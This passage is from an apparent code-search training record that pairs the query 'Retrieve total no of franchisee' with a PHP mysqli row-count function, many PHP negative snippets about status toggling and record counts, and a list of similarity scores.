DBO()->RatePlan->Id->Value;\n\t\t\t$intAlternatePlanId\t= DBO()->AlternateRatePlan->Id->Value;\n\n\t\t\t$objQuery = new Query();\n\n\t\t\t$strQuery = \"\tINSERT INTO dealer_rate_plan (dealer_id, rate_plan_id)\n\t\t\t\t\t\t\tSELECT DISTINCT drp.dealer_id, $intAlternatePlanId\n\t\t\t\t\t\t\tFROM (\tSELECT dealer_id\n\t\t\t\t\t\t\t\t\tFROM dealer_rate_plan\n\t\t\t\t\t\t\t\t\tWHERE dealer_id IN (SELECT dealer_id FROM dealer_rate_plan WHERE rate_plan_id = $intArchivedPlanId)\n\t\t\t\t\t\t\t\t\tAND dealer_id NOT IN (SELECT dealer_id FROM dealer_rate_plan WHERE rate_plan_id = $intAlternatePlanId)\n\t\t\t\t\t\t\t\t) AS drp;\n\t\t\t\t\t\t\t\";\n\t\t\tif ($objQuery->Execute($strQuery) === FALSE)\n\t\t\t{\n\t\t\t\tTransactionRollback();\n\t\t\t\tAjax()->AddCommand(\"Alert\", \"ERROR: Could not add records to the dealer_rate_plan table to associate the alternate plan\");\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\n\t\tTransactionCommit();\n\n\t\t// Update the status of the RatePlan in the Sales database, if there is one\n\t\tif (Flex_Module::isActive(FLEX_MODULE_SALES_PORTAL))\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tCli_App_Sales::pushAll();\n\t\t\t}\n\t\t\tcatch (Exception $e)\n\t\t\t{\n\t\t\t\t// Pushing the data failed\n\t\t\t\t$strSuccessMsg .= \"<br /><span class='warning'>WARNING: Pushing the data from Flex to the Sales database, failed. Contact your system administrators to have them manually trigger the data push.<br />Error message: \". htmlspecialchars($e->getMessage()) .\"</span>\";\n\t\t\t}\n\t\t}\n\n\t\t// Everything worked\n\t\tAjax()->AddCommand(\"AlertReload\", $strSuccessMsg);\n\n\t\treturn TRUE;\n\t}", "public function activation($id)\n {\n $cat = Category::find($id);\n if ($cat->status == 0) {\n $cat->status = 1; // deactivate\n } elseif ($cat->status == 1) {\n $cat->status = 0; // activate\n }\n $cat->save();\n return back();\n }", "function acf_update_field_group_active_status( $id, $activate = true ) {\n\treturn acf_update_internal_post_type_active_status( $id, $activate, 'acf-field-group' );\n}", "public function isActive (){\n if($this->is_active == 1) {\n return true;\n }else{\n return false;\n }\n }", "public function changeStatus(): void\n {\n if ('online' === $this->online_status) {\n if ($this->reference_id > 0) {\n $query = 'UPDATE '. rex::getTablePrefix() .'d2u_references_references '\n .\"SET online_status = 'offline' \"\n .'WHERE reference_id = '. $this->reference_id;\n $result = rex_sql::factory();\n $result->setQuery($query);\n }\n $this->online_status = 'offline';\n } else {\n if ($this->reference_id > 0) {\n $query = 'UPDATE '. rex::getTablePrefix() .'d2u_references_references '\n .\"SET online_status = 'online' \"\n .'WHERE reference_id = '. $this->reference_id;\n $result = rex_sql::factory();\n $result->setQuery($query);\n }\n $this->online_status = 'online';\n }\n\n // Don't forget to regenerate URL cache to make online machine available\n if (rex_addon::get('url')->isAvailable()) {\n d2u_addon_backend_helper::generateUrlCache('reference_id');\n d2u_addon_backend_helper::generateUrlCache('tag_id');\n }\n }", "public function update_active(){\n\t\t$sql = \"update set creado=NOW() where id=$this->id\";\n\t\t\n\t}", "public function isInactive()\n {\n return ($this->slug == \"inactief\");\n }", "public function isActive()\n {\n return $this->active;\n }", "function _active($info)\n\t{\n\t // Gan trang thai xac thuc\n\t $data = array();\n\t $data['status'] = mod('order')->status('completed');\n\t\n\t // Cap nhat du lieu vao data\n\t model('user_bank')->update($info->id, $data);\n\t // Gui thong bao\n\t set_message(lang('notice_update_success'));\n\t return TRUE;\n\t}", "public function toggleActive($id, $active = null)\n {\n if ( is_null($active) )\n if ( $item = $this->getItem($id) )\n {\n $cur_state = isset($item['active']) ? (bool) $item['active'] : false;\n $active = ! $cur_state;\n }\n else\n $this->debug && trigger_error(sprintf('Item with id \"%s\" is not found.', $id));\n\n $this->db->update(array('id'=>$id), array('active'=> (bool) $active) );\n }", "public function activar($categoria){\n\t\t\t\t\t\t\t\t\t$db=DB::conectar();\n\t\t\t\t\t\t\t\t\t$update=$db->prepare('UPDATE categoria SET estado = 1 WHERE id = :id;');\n\t\t\t\t\t\t\t\t\t$update->bindValue('id',$categoria->getId());\n\t\t\t\t\t\t\t\t\t$update->execute();\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}", "public function changeStatus($status)\n {\n $changestatus = User::findOrFail($status);\n \n if (isset($changestatus) && !empty($changestatus)) {\n if ($changestatus->active == 1) {\n $changestatus->update(['active' => 0]);\n return redirect()->back()->withFlashSuccess('Successfully Deactive User');\n }else{\n $changestatus->update(['active' => 1]); \n return redirect()->back()->withFlashSuccess('Successfully Activeted User');\n }\n }\n }", "public function setActive($var)\n {\n GPBUtil::checkBool($var);\n $this->active = $var;\n\n return $this;\n }", "public function IsActive()\n {\n return true;\n }", "public function activate(): bool\n {\n $this->{$this->getDeactivatedAtColumn()} = null;\n return $this->save();\n }" ]
[ "0.6877195", "0.6712909", "0.6597667", "0.6552622", "0.6538395", "0.65130574", "0.63997245", "0.6336781", "0.6297316", "0.62497497", "0.6189857", "0.6105255", "0.60581666", "0.60532105", "0.6031432", "0.60164845", "0.60164845", "0.60164845", "0.60164845", "0.6000698", "0.5997102", "0.5980818", "0.5940661", "0.5913146", "0.5897789", "0.5897789", "0.58869946", "0.5860407", "0.5828639", "0.5828639", "0.5826894", "0.5826894", "0.5826894", "0.5826894", "0.5819997", "0.5763738", "0.5760039", "0.5731529", "0.5723816", "0.5708704", "0.5698145", "0.5642936", "0.5640852", "0.5640743", "0.5617487", "0.5617487", "0.5617195", "0.55876034", "0.55793643", "0.55698556", "0.5567386", "0.5556686", "0.5555011", "0.5547494", "0.55414337", "0.5515112", "0.54986614", "0.5497896", "0.5485162", "0.54802775", "0.54729867", "0.54652184", "0.54637045", "0.5456647", "0.5456544", "0.5456544", "0.54394186", "0.54370713", "0.5427467", "0.5425754", "0.5425754", "0.5418783", "0.54182225", "0.540669", "0.5398411", "0.5397696", "0.53923213", "0.5391722", "0.5385661", "0.5381925", "0.5380268", "0.5361411", "0.53604823", "0.5352718", "0.5351007", "0.5345197", "0.5340537", "0.53397727", "0.5334158", "0.53268075", "0.5326484", "0.531972", "0.53195816", "0.53182817", "0.53108764", "0.5309225", "0.5308106", "0.53047746", "0.5301636", "0.5297774" ]
0.58364123
28
Retrieve total no of franchisee
function TotalFranchisee() { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id FROM " . $db_table_prefix . "franchise"); $stmt->execute(); $stmt->store_result(); $num_returns = $stmt->num_rows; $stmt->close(); return $num_returns; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function totalCount();", "public function totalCount();", "public function totcarte()\n {\n $detalle = FacturaDet::join('factura_cab', 'factura_cab.numfac', '=', 'factura_det.numfac')\n ->select(DB::raw('sum(cantserv*valserv) as total'))\n ->where('factura_cab.estfac','<>','0')\n ->where('factura_cab.estfac','<>','1')\n ->first();\n $total=$detalle->total+0;\n $pagos = Pago::select(DB::raw('sum(valpago) as total'))\n ->first();\n if($pagos)\n $pagado = $pagos->total;\n else\n $pagado=0;\n $total = $total - $pagado;\n return $total;\n }", "public function getTotalCount();", "public function getTotalCount();", "public function getTotalCount();", "function getTotalFaliures()\n {\n $data = [];\n $output = $this->queryData('//QueryGetTotalFailures','', $data);\n $number = $output[0]['number'];\n return $number;\n }", "abstract public function countTotal();", "public static function totalNumber()\n {\n return (int)self::find()->count();\n }", "function cantidad_pisos_uva($fechaincio, $fechafin) {\n\t\t$sql = \"SELECT COUNT(id_piso) AS total FROM pisos WHERE fecha>='\".$fechaincio.\"' AND fecha<='\".$fechafin.\"' AND idusuario LIKE '%e%'\";\n\t\t$resultado = $this -> db -> query($sql);\n\t\t\n\t\tforeach ($resultado -> result() as $row) {\n\t\t\t$total = $row -> total;\n\t\t}\n\t\t\n\t\treturn $total;\n\t}", "function getNumeroDeBeneficiarios(){\n\t\t\t$benefs = 0;\n\t\t\t$sqlcreel = \"SELECT COUNT(idsocios_relaciones) AS 'beneficiarios'\n\t\t\t\t\t\t\tFROM socios_relaciones\n\t\t\t\t\t\t\tWHERE socio_relacionado=\" . $this->mCodigo . \" AND tipo_relacion=11\";\n\t\t\t$benefs = mifila($sqlcreel, \"beneficiarios\");\n\t\t\treturn $benefs;\n\t}", "public function recursos_totales() {\r\n $this->db->select('count(*) as total');\r\n $query = $this->db->get(\"publicacion\");\r\n //return $query->num_rows();\r\n $resultados = $query->result();\r\n if(!empty($resultados)){\r\n return $resultados[0]->total;\r\n } else {\r\n return false;\r\n }\r\n }", "function cantidad_pisos_nouva($fechaincio, $fechafin) {\n\t\t$sql = \"SELECT COUNT(id_piso) AS total FROM pisos WHERE fecha>='\".$fechaincio.\"' AND fecha<='\".$fechafin.\"' AND idusuario NOT LIKE '%e%'\";\n\t\t$resultado = $this -> db -> query($sql);\n\t\t\n\t\tforeach ($resultado -> result() as $row) {\n\t\t\t$total = $row -> total;\n\t\t}\n\t\t\n\t\treturn $total;\n\t}", "public static function nbContactsTotal() {\n $total = \\Phonebook\\Models\\CoreModel::findAll();\n $full_contacts = Count($total);\n return $full_contacts;\n echo $this->templates->render('home');\n }", "function get_cantidad_ingresantes_cohorte()\n\t{\n\t\t$filtro = $this->s__datos_filtro;\n\t\tif (isset($filtro))\n\t\t{\n\t\t\tei_arbol($filtro, 'filtro');\n\t\t\t$alumnos_cohorte = consultas_extension::get_alumnos_ingresantes_cohorte($filtro);\n\t\t\treturn count($alumnos_cohorte);\n\t\t}\n\t\telse\n\t\t\treturn 0;\n\n\t}", "function get_nbre_conso(){\n\t\tglobal $bd;\n\t\t$req = $bd->query(\"SELECT SUM(nbre) as nbre FROM consommateur WHERE etat = 'present' \");\n\t\t$data = $req->fetch();\n\t\treturn $data['nbre'];\n\t}", "public function getTotalHT(){\n\t\t$HT=0;\n\t\tforeach ($this->_leslignes->getAll() as $uneligne){\n\t\t\t$HT+=$uneligne->getTotal();\n\t\t}\n\t\treturn $HT;\n\t}", "function get_entradas_boni_gral_list_count($ubicacion)\n\t{\n\t\t$u = new Entrada();\n\t\t$sql=\"select count(distinct(e.pr_facturas_id)) as total from entradas as e left join cproveedores as pr on pr.id=e.cproveedores_id left join pr_facturas as prf on prf.id=e.pr_facturas_id left join espacios_fisicos as ef on ef.id=e.espacios_fisicos_id left join estatus_general as eg on eg.id=e.estatus_general_id where e.estatus_general_id=1 and ctipo_entrada=9\";\n\t\t//Buscar en la base de datos\n\t\t$u->query($sql);\n\t\tif($u->c_rows == 1){\n\t\t\treturn $u->total;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "public function count() {\n\n // monta a query\n $this->db->select( 'count( distinct( CodFuncionario ) ) as Total' )\n ->from( 'Mensagens' );\n\n // faz a busca\n $busca = $this->db->get();\n\n // volta o resultado\n return ( $busca->num_rows() ) ? $busca->result_array()[0]['Total'] - 1 : 0;\n }", "function totalfarmer($farmer_id){\n\n\t$crud = new CRUD();\n\t$crud->disconnect();\n\n\t$crud -> sql(\"select *, COUNT(barangay_id_fk) from farmers_tbl where barangay_id_fk='{$farmer_id}'\");\n\t$r = $crud->getResult();\n\tforeach($r as $rs){\n\t\treturn $rs['COUNT(barangay_id_fk)'];\n\t}\n\t$crud->disconnect();\n}", "function totalfarmer_Cfemale($farmer_id){\n\n\t$crud = new CRUD();\n\t$crud->disconnect();\n\t$crud -> sql(\"select *, COUNT(barangay_id_fk) from farmers_tbl where barangay_id_fk='{$farmer_id}' and care_of_pig='Children / Female'\");\n\t$r = $crud->getResult();\n\tforeach($r as $rs){\n\t\treturn $rs['COUNT(barangay_id_fk)'];\n\t}\n\t$crud->disconnect();\n}", "public function totalBekerja()\n {\n return $this->db->table('kuesioner')->countAll();\n }", "function cantidad_pisos($fechainicio, $fechafin) {\n\t\t$sql = \"SELECT COUNT(id_piso) AS total FROM pisos WHERE fecha>='\".$fechainicio.\"' AND fecha<='\".$fechafin.\"'\";\n\t\t$resultado = $this -> db -> query($sql);\n\t\t\n\t\tforeach ($resultado -> result() as $row) {\n\t\t\t$total = $row -> total;\n\t\t}\n\t\t\n\t\treturn $total;\n\t}", "function panier_get_count() {\n global $panier;\n $resultat = 0;\n foreach ($panier as $item) {\n $resultat+= $item[PS_PANIER_ITEM_QTY];\n }\n return $resultat;\n}", "public function getFosaCount()\n {\n return $this->manager->createQuery('SELECT COUNT(m) FROM App\\Entity\\Morgue m')\n ->getSingleScalarResult();\n }", "public function nombreTotalTableau(){\n $req = $this->db->query(\"SELECT COUNT(*) AS nb FROM tableau\");\n $sortie = $req->fetch(PDO::FETCH_OBJ);\n return $sortie->nb;\n }", "public function getTotal();", "public function getTotal();", "public function getTotalSubeixoRodovias(){\n\t\t$total = 0;\n\t\t$i=0;\n\t\twhile($i<count($this->result)){\n\t\t\tif($this->result[$i]->idn_digs == 1000)\n\t\t\t\t$total++;\n\t\t\t$i++;\n\t\t}\n\t\treturn $total;\n\t}", "public static function searchTotal()\n\t{\n\t\t$total = self::all()->total();\n\t\treturn $total;\n\t}", "public function total(): int\n {\n return count($this->all());\n }", "public function getTotal(){\n\t\t\t$sql = \"SELECT COUNT(*) as c FROM servico\";\n\t\t\t$sql = $this->db->query($sql);\n\t\t\t$sql = $sql->fetch();\n\t\n\t\t\treturn $sql['c'];\n\t\t}", "function get_entradas_general_list_count()\n\t{\n\t\t$u = new Entrada();\n\t\t$sql=\"select count(distinct(e.pr_facturas_id)) as total from entradas as e left join cproveedores as pr on pr.id=e.cproveedores_id left join pr_facturas as prf on prf.id=e.pr_facturas_id left join espacios_fisicos as ef on ef.id=e.espacios_fisicos_id left join estatus_general as eg on eg.id=e.estatus_general_id where e.estatus_general_id=1 and ctipo_entrada=1\";\n\t\t//Buscar en la base de datos\n\t\t$u->query($sql);\n\t\tif($u->c_rows == 1){\n\t\t\treturn $u->total;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "private function count()\n\t\t{\n\t\t\t$query = \"\tSELECT count(1) AS 'total'\n\t\t\t\t\t\tFROM\n\t\t\t\t\t\t\t`\".$this->tree_node.\"` `MTN`\n\t\t\t\t\t\tWHERE 1 = 1\n\t\t\t\t\t\t\tAND `MTN`.`application_release`\t= '\".$this->application_release.\"'\n\t\t\t\t\t\";\n\t\t\t$result = $this->link_mt->query($query);\n\n\t\t\t$row = $result->fetch_array(MYSQLI_ASSOC);\t\n\t\t\treturn $row['total'];\t\t\n\t\t}", "function gettotalpageno(){\n\t $qry = \"SELECT * FROM countries\";\n\t return $result = $this->modelObj->numRows($qry);\n\t}", "function totalfarmer_female($farmer_id){\n\n\t$crud = new CRUD();\n\t$crud->disconnect();\n\t$crud -> sql(\"select *, COUNT(barangay_id_fk) from farmers_tbl where barangay_id_fk='{$farmer_id}' and care_of_pig='Female / Wife'\");\n\t$r = $crud->getResult();\n\tforeach($r as $rs){\n\t\treturn $rs['COUNT(barangay_id_fk)'];\n\t}\n\t$crud->disconnect();\n}", "function FacturasAbiertas() {\n $sql = \"SELECT COUNT(*) count FROM \".self::$table.\" WHERE estado='Abierta'\";\n return DBManager::count($sql);\n }", "public function findCount()\n {\n return $this->getEntityManager()\n ->createQuery(\"SELECT t.number, COUNT(f.id) as cnt\n FROM GazMainBundle:Finance f\n LEFT JOIN f.terminal t\n LEFT JOIN f.clientSale cs\n\t\t\t\t\t\t\tLEFT JOIN f.clientBuy cb\n\t\t\t\t\t\t\tWHERE f.financeType = FALSE\n\t\t\t\t\t\t\tGROUP BY t.number\n\t\t\t\t\t\t\tORDER BY t.number ASC\n \")\n ->getResult();\n }", "public function numTotalDeRegistros(){\r\n return $this->numTotalDeRegistros;\r\n }", "function get_entradas_boni_list_count($ubicacion)\n\t{\n\t\t$u = new Entrada();\n\t\t$sql=\"select count(distinct(e.pr_facturas_id)) as total from entradas as e left join cproveedores as pr on pr.id=e.cproveedores_id left join pr_facturas as prf on prf.id=e.pr_facturas_id left join espacios_fisicos as ef on ef.id=e.espacios_fisicos_id left join estatus_general as eg on eg.id=e.estatus_general_id where e.espacios_fisicos_id=$ubicacion and e.estatus_general_id=1 and ctipo_entrada=9\";\n\t\t//Buscar en la base de datos\n\t\t$u->query($sql);\n\t\tif($u->c_rows == 1){\n\t\t\treturn $u->total;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "public function getTotalNumberOfResults();", "function totalboaralla(){\n\n\t$crud = new CRUD();\n\t$crud->disconnect();\n\n\t$crud -> sql(\"select SUM(native_boar) as totalboaralla from farmers_tbl\");\n\t$r = $crud->getResult();\n\tforeach($r as $rs){\n\t\treturn $rs['totalboaralla'];\n\t}\n\t$crud->disconnect();\n}", "public function getTotal(): int;", "public function totalTrophyCount(): int\n {\n $count = $this->bronze() + $this->silver() + $this->gold();\n\n return $this->hasPlatinum() ? ++$count : $count;\n }", "public static function getTotalBaneados() {\n\t\treturn count(self::getBaneados());\n\t}", "public function countAnnonce() {\n $db = $this->getPDO();\n $limite = 2;\n //requete qui compte le nbr d'entree\n $resultFoundRows = $db->query('SELECT COUNT (id_annonce) FROM annonces');\n $nbrElementsTotal = $resultFoundRows->fetchColumn();\n /* Si on est sur la première page, on n'a pas besoin d'afficher de lien\n * vers la précédente. On va donc ne l'afficher que si on est sur une autre\n * page que la première */\n $nbrPages = ceil($nbrElementsTotal / $limite);\n return $nbrPages;\n }", "public function totalEntries()\n\t{\n\t\t$count = craft()->formBuilder2_entry->getTotalEntries();\n\t\treturn $count;\n\t}", "function get_all_fakultas_count()\n {\n $this->db->from('fakultas');\n return $this->db->count_all_results();\n }", "public function getTotal()\n\t{\n\t\t\n\t\treturn count($this->findAll());\n\t}", "public function NumAdeudos(){\n\t\t$UsCg = new HomeController();\n\t\tdate_default_timezone_set('America/Mexico_City');\n\t\t$UsCfechaactual = date('Y-m-d');\n\t\t$UsCseccion = DB::table(\"colegiatura\")->where(\"Alumno_idAlumno\",Session::get(\"usuario\"));\n\t\t$UsCcolegiaturas = $UsCseccion->orderBy('periodo_idperiodo', 'asc')->get();\n\t\t$UsCconcole = $UsCseccion->count();\n\t\t$UsCusuario = DB::table(\"alumno\")->where(\"idAlumno\",Session::get(\"usuario\"))->first();\n\t\t$UsCadeudo = ($UsCg->restaFechas($UsCusuario->fecha, $UsCfechaactual))-$UsCconcole;\n\t\tif ($UsCadeudo < 0) {$UsCadeudo = 0;}\n\t\treturn \"- Adeudos: \".$UsCadeudo;\n\t}", "public function getTotal(){\n\t\t\t$sql = \"SELECT COUNT(*) as c FROM clientes\";\n\t\t\t$sql = $this->db->query($sql);\n\t\t\t$sql = $sql->fetch();\n\t\n\t\t\treturn $sql['c'];\n\t\t}", "public function numFotos(){\n\n\t\t\t$sentencia = \"SELECT count(*) AS total FROM fotos\";\n\t\t\t$total= $this->db->query($sentencia)->row()->total; // converir fila y total\n\t\t\t\t\t\t\n\t\t\treturn intval($total); // asegurarnos que sea entero\n\n\t\t}", "public function numero_fechas()\n {\n $query = $this->db->get(self::$tabla);\n return $query->num_rows();\n }", "public function getTotalEntriesOfBranch(){\n if($this->databaseConnection()){\n $query = $this->db_connection->prepare('select count(*) from branch ');\n $query->execute();\n $result = $query->fetchColumn();\n return $result; \n }\n }", "public function getTotal() {\n\t\treturn $this->find('count', array(\n\t\t\t'contain' => false,\n\t\t\t'recursive' => false,\n\t\t\t'cache' => $this->alias . '::' . __FUNCTION__,\n\t\t\t'cacheExpires' => '+24 hours'\n\t\t));\n\t}", "function getTotal()\r\n{\r\n if (empty($this->_total))\r\n {\r\n $query = $this->_buildQuery();\r\n $this->_total = $this->_getListCount($query);\r\n }\r\n \r\n return $this->_total;\r\n}", "function totalAll()\n\t{\n\t\t$sql=\"select count(ben_id) total from {$this->table}\";\n\t\t$data=dbFetchOne($sql);\n\t\treturn isset($data['total'])?$data['total']:false;\n\t}", "public function total(){\n\t\t$cantidad= mysqli_num_rows($this->sql);\n\t\treturn $cantidad;\n\t}", "public function countAgritax()\n\t{\n\t\t$farmer = \"select id from users_roles where name = 'agritax' \";\n\t\t$f = DB::query($farmer)->execute()->as_array();\n\t\t$f_id = @$f[0]['id']; \n\t\t\n\t\t//got it, lets proceed\n\t\tif(!is_null($f_id)){\n\t\t\t\n\t\t\t//lets count number of users subscribed to the contractor role\n\t\t\t$pple = \"select count(distinct(user_id)) as tmpvar from users_user_roles\nwhere role_id = $f_id \";\n\n\t\t\t$tmp \t= DB::query($pple)->execute()->as_array();\n\t\t\t$fcount = @$tmp[0]['tmpvar'];\n\t\t\treturn $fcount;\n\t\t}\n\t\treturn 0;\n\t\n\t\t\n\t}", "public function totalNode(){\r\n return $this->count;\r\n }", "public function getCantidadPendienteDeFacturacion()\n {\n // 1) a items factura ( proceso pedido - factura - entrada )\n // 2) a items entrada ( proceso pedido - entrada - factura )\n // \n // Si está ligado a items entrada ...\n if ( $this->getReferenciasItemEntradaMercancias()->count() ){\n \n $cantidadFacturada = 0;\n\n /* @var $itemEntradaMercancias \\Pronit\\ComprasBundle\\Entity\\Documentos\\EntradasMercancias\\ItemEntradaMercancias */\n foreach( $this->getReferenciasItemEntradaMercancias() as $itemEntradaMercancias )\n {\n $cantidadFacturada = $cantidadFacturada + $itemEntradaMercancias->getCantidadFacturada();\n }\n\n return $this->getCantidad() - $cantidadFacturada;\n } \n }", "public function getRecordsTotal(): int;", "private function getTotalCharge() {\n $result = 0;\n\n foreach ($this->rentals as $rental) {\n $result += $rental->getCharge();\n }\n return $result;\n\n }", "public function nbArticles(){\n\t$nbArticles = 0;\n\tforeach($this->listeProduits as $value){\n\t\t$nbArticles += $value[1];\n\t}\n\treturn $nbArticles;\n }", "function total_favorites()\r\n\t{\r\n\t\tglobal $db;\r\n\t\treturn $db->count(tbl($this->fav_tbl),\"favorite_id\",\" type='\".$this->type.\"'\");\r\n\t}", "public\n\tfunction total() {\n\n\t\t$cantidad = mysqli_num_rows( $this->query );\n\n\t\treturn $cantidad;\n\n\t}", "public function total();", "public function total();", "public function total();", "public function totalRegistros();", "public function getTotal(): int\n {\n return\n $this->getAttack() +\n $this->getDefense() +\n $this->getStamina();\n }", "private function getTotalFrequentRenterPoints() {\n $result = 0;\n\n foreach ($this->rentals as $rental){\n $result += $rental->getFrequentRenterPoints();\n }\n return $result;\n }", "public function getTotal()\n\t{\n $rows = (new \\yii\\db\\Query())\n ->select('*')\n ->from($this->table)\n ->all();\n\t\treturn count($rows);\n\t}", "public function total(){\n $total = $this->qualification + $this->referee_report + $this->interview;\n }", "function cantidad_usuarios($fechainicio, $fechafin) {\n\t\t$sql = \"SELECT COUNT(idu) AS total FROM usuarios WHERE fechaalta>='\".$fechainicio.\"' AND fechaalta<='\".$fechafin.\"'\";\n\t\t$resultado = $this -> db -> query($sql);\n\t\t\n\t\tforeach ($resultado -> result() as $row) {\n\t\t\t$total = $row -> total;\n\t\t}\n\t\t\n\t\treturn $total;\n\t}", "function totalboarall($municipality_fk){\n\n\t$crud = new CRUD();\n\t$crud->disconnect();\n\n\t$crud -> sql(\"select SUM(native_boar) as totalboarall from farmers_tbl where municipality_id_fk='{$municipality_fk}'\");\n\t$r = $crud->getResult();\n\tforeach($r as $rs){\n\t\treturn $rs['totalboarall'];\n\t}\n\t$crud->disconnect();\n}", "public function total_pages()\n {\n if(isset($this->total_pages)) return $this->total_pages;\n $this->total_pages = 0;\n \n $result = $this->mysqli_slave->query(\"SELECT COUNT(*) count FROM taxon_concepts tc WHERE tc.published=1 AND tc.supercedure_id=0\");\n if($result && $row=$result->fetch_assoc()) $this->total_pages = $row['count'];\n return $this->total_pages;\n }", "public function get_count_company_invoice_foreigner() {\n $invoice_id = $this->input->post('invoice');\n $subsidy = $this->input->post('subsidy');\n \n $result = $this->classtraineemodel->get_company_invoice_foreigner($invoice_id);\n \n echo count($result);\n }", "public function tatalFacturas(){\n\t\t\t\t\n\t\t$resultado = array();\n\t\t\n\t\t$query = \"Select count(idFactura) as cantidadFacturas from tb_facturas WHERE estado <> 'Iniciada'\";\n\t\t\n\t\t$conexion = parent::conexionCliente();\n\t\t\n\t\tif($res = $conexion->query($query)){\n \n /* obtener un array asociativo */\n while ($filas = $res->fetch_assoc()) {\n $resultado = $filas;\n }\n \n /* liberar el conjunto de resultados */\n $res->free();\n \n }\n\n return $resultado['cantidadFacturas'];\t\t\t\n\t\t\n\t}", "public function count_node()\n\t\t{\n\t\t\t$query = \"SELECT\n\t\t\t\t\t\tCOUNT(1) AS 'total' \n\t\t\t\t\tFROM \n\t\t\t\t\t\t`\".$this->tree_caption.\"`\n\t\t\t\t\tWHERE 1 = 1\n\t\t\t\t\t\tAND `language` = '\".$this->language.\"'\n\t\t\t\t\t\tAND `application_release` = '\".$this->application_release.\"'\";\n\t\t\t\n\t\t\t$result = $this->link_mt->query($query);\n\t\t\t$row = $result->fetch_array(MYSQLI_ASSOC);\n\t\t\t\n\t\t\t$this->total_node = $row['total'];\n\t\t\t\n\t\t\treturn $this->total_node;\n\t\t}", "public function total(): int\n {\n return Arr::get($this->meta, 'total', $this->count());\n }", "function getTotalPages()\n{\n include('connecter.php');\n if($con)\n {\n $nbr = $con->query('SELECT COUNT(*) AS nbre_total FROM invite');\n $resultat = $nbr->fetch();\n return $resultat['nbre_total'];\n }\n return -1;\n \n}", "public function getTotal() : int\n {\n return $this->total;\n }", "public function getTotalAnggaran()\n\t{\n\t\t$unitkerja=$this->unitkerja;\n\t\t$kegiatan=$this->kegiatan;\n\n\t\t$sql=\"SELECT IF(SUM(jumlah) IS NULL, 0, SUM(jumlah)) AS val FROM value_anggaran WHERE unit_kerja=$unitkerja AND kegiatan=$kegiatan\";\n\t\t$total=Yii::app()->db->createCommand($sql)->queryScalar();\n\t\t\n\t\treturn floor($total);\n\t}", "public function bronzeTrophyCount(): int\n {\n return $this->pluck('definedTrophies.bronze');\n }", "public function totalCategoria()\n {\n return $this->totalCentral() + $this->totalSeccional();\n }", "public function getCountVia(){\n \n $stm = $this->db->query(\n \"SELECT MAX(AQVI_QT_VIA)+ 1 AS TOTALVIAS\n FROM SAD_TB_AQVI_VIA \"\n );\n return $stm->fetchAll(); \n \n }", "function getTotal()\n\t{\n\t\tif (empty($this->_total)) {\n\t\t\t$query = $this->_buildQuery();\n\t\t\t$this->_total = $this->_getListCount($query); \n\t\t}\n\t\treturn $this->_total;\n\t}", "public function calculateTotalMealplan()\n\t{\n\t\t$result = 0;\n\n\t\t$passengers = $this->getPassengers();\n\n\t\tif( count($passengers) )\n\t\t{\n\t\t\tforeach ($passengers as $passenger)\n\t\t\t{\n\t\t\t\tif( (int)$passenger->status < 3 )\n\t\t\t\t{\n\t\t\t\t\tif($passenger->mealplan)\n\t\t\t\t\t{\n\t\t\t\t\t\t$result++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $result;\n\t}", "public function computeCount() {\n if ($str = elis_consumer_http_request($this->url_pattern . '&rows=0', array('Accept' => 'application/json'))) {\n if ($json = json_decode($str)) {\n $this->totalCount = $json->response->numFound;\n }\n }\n return $this->totalCount;\n }", "public function lifedesk_taxa()\n {\n if(isset($this->lifedesk_taxa)) return $this->lifedesk_taxa;\n $this->lifedesk_taxa = 0;\n \n $latest_published_lifedesk_resources = $this->latest_published_lifedesk_resources();\n $result = $this->mysqli_slave->query(\"SELECT COUNT(DISTINCT(he.taxon_concept_id)) count FROM harvest_events_hierarchy_entries hehe JOIN hierarchy_entries he ON (hehe.hierarchy_entry_id=he.id) WHERE hehe.harvest_event_id IN (\".implode($latest_published_lifedesk_resources, \",\").\")\");\n if($result && $row=$result->fetch_assoc()) $this->lifedesk_taxa = $row['count'];\n return $this->lifedesk_taxa;\n }", "public function get_total(){\n $total = 0;\n \n // récupert tous les articles de la commande\n $articles = $this->get_all_articles();\n \n // parcourt ces articles\n foreach($articles as $a){\n $price = $a->get_price(true);\n \n // puis calcul le prix\n $total += $a->nb * $price;\n }\n \n return $total;\n }", "static public function getTotalCount()\n\t{\n\t\treturn self::$count;\n\t}", "function totalfarmer_Cmale($farmer_id){\n\n\t$crud = new CRUD();\n\t$crud->disconnect();\n\t$crud -> sql(\"select *, COUNT(barangay_id_fk) from farmers_tbl where barangay_id_fk='{$farmer_id}' and care_of_pig='Children / Male'\");\n\t$r = $crud->getResult();\n\tforeach($r as $rs){\n\t\treturn $rs['COUNT(barangay_id_fk)'];\n\t}\n\t$crud->disconnect();\n}", "public function getnbadults()\n {\n\n $rqt='select count(*) as nb from adult ';\n\n $rep= $this->executerRequete($rqt);\n $ligne= $rep->fetch();\n return $ligne['nb'];\n }", "public function getTotal()\n {\n $db = self::getInstance();\n $db = $db->prepare(\"SELECT count(*) as count FROM paciente\");\n $db->execute();\n return $db->fetch(\\PDO::FETCH_ASSOC);\n }", "public function get_total()\n\t{\n\t\t$query = $this->query;\n\t\tif(isset($query['order']))\n\t\t\t$query['order'] = $this->model->table() . '.id';\n\t\treturn $this->model->count($query);\n\t}", "public function getTotalSumNbConvertedCarts()\n {\n $nbFlaged = Mage::getModel('abandonment/orderflag')->getResource()\n ->getSumNbConvertedCarts();\n return $nbFlaged;\n }", "public function countquery(){ \n\t\treturn $this->query_total; \n\t}", "function getTotal()\n\t{\n\t\tif (empty($this->_total)) {\n\t\t\t$query = $this->_buildQuery();\n\t\t\t$this->_total = $this->_getListCount($query);\n\t\t}\n\t\treturn $this->_total;\n\t}" ]
